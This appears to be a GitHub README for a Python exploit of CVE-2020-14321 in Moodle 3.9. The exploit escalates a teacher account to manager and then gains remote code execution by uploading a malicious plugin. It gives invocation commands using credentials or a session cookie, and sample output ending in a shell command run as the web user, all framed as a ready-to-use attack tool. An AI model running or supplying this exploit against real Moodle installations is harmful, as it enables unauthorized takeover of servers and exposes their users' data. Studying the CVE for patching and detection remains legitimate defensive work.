lanzt/cve-2020-14321Authenticated exploit for Moodle 3.9 that escalates teacher privileges to manager role and achieves remote code execution via malicious plugin upload.
Python script to exploit CVE-2020-14321 - Moodle 3.9
Course enrolments allowed privilege escalation from teacher role into manager role to RCE.
Payload extracted from: https://github.com/HoangKien1020/CVE-2020-14321
If you have valid teacher credentials (InReaLife this has not been tested enough, or maybe yes, I don't know :P):
❭ python3 CVE-2020-14321_RCE.py http://moodle.site.com/moodle -u lanz -p 'Lanz123$!'
If you have a valid teacher cookie (101% tested):
❱ python3 CVE-2020-14321_RCE.py http://moodle.site.com/moodle --cookie th3f7k1ngggk00ci30ft3ach3r
...
❱ python3 CVE-2020-14321_RCE.py http://moodle.site.com/moodle --cookie th3f7k1ngggk00ci30ft3ach3r -c id
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Moodle 3.9 - Remote Command Execution (Authenticated as teacher)
Course enrolments allowed privilege escalation from teacher role into manager role to RCE
[+] Login on site: MoodleSession:th3f7k1ngggk00ci30ft3ach3r ✓
[+] Updating roles to move on manager accout: ✓
[+] Updating rol manager to enable install plugins: ✓
[+] Uploading malicious .zip file: ✓
[+] Executing id: ✓
uid=80(www) gid=80(www) groups=80(www)
Keep breaking ev3rYthiNg!!